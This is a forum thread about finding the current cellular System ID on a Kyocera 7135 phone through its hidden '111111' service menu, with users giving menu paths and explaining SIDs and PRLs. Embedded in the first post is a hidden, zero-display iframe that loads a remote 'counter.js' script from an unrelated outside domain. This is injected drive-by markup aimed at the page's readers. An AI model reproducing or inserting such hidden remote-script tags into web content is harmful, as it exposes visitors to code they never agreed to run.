    How to locate current SID...

    ...on a 7135. Any ideas? Most phones (Motorola, Nokia) have a "current network" selection that lets you view the *current* SID. This can be helpful when traveling.

    (And before someone chimes in and says "Well, why don't you just dial 611 and ask?", this is not the best way to get the info.)<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    To find the SID that is currently on the phone, enter the following when in the phone - "111111". You'll notice in the drop down list you now have another category to choose, which is Options. Go under Options, and you'll be able to find.

    not on my phone. can you be a bit more specific? my phone has:

    version
    display contrast
    programming
    debug
    service interface
    WAP Browser setup

    none of these point to "current network", unless i'm missing something...

    sid

    go to 111111/optons/programming,(you will need your code and if your lucky it is 000000) and then you will see the sid id on that screen. be sure not to change anything as your phone may not function properly if you screw up the numbers.

    Although I don't have a 7135, it is probably similar to other Kyocera models in that the current SID is only revealed when you are in analog mode. This is accessed in the Debug section of the 111111 menu.

    The way I understood the original question is that the person wants to know what current SID they are on. For example, when you leave your home area you are not using the SID you have programmed in your phone as your home SID and, for some, it is helpful to see what the current SID is.

    Is this the question?

    i do believe that is the question..

    my simon has a status monitor also that shows the SID (among other things). for example, currently since its on verizons system, the SID is 00013 in my area...

    sid

    your sid is your home system id number.


    I didnt knwo you could view the sid as you change locations?

    If you can indeed do taht on the 7135 that would be helpful if you keep dropping calls in certain areas when you travel to see where and on what sid the issues occur.

    YYou don't want to change your SID. You set it to your home market, and that's it.

    If you want to see the SID you are on:

    111111-->Options--->Debug--->Security Code--->Screen

    Sorry to generate so much confusion. SID is the cellular System Identification. Each cellular market has a different one. A PRL is a list of preferred System IDs that is in your phone.

    Yes you can view your *home* system ID that is programmed in your phone, but what I was asking for was a way to view the *current* system ID. What I am trying to find out is which cellular system I am on at any given time.

    This is a link to a FABULOUS web page that gives a lot more detail on a "certain" cellular company's PRLs and his interpretation of them. Hope you enjoy it as much as I do.
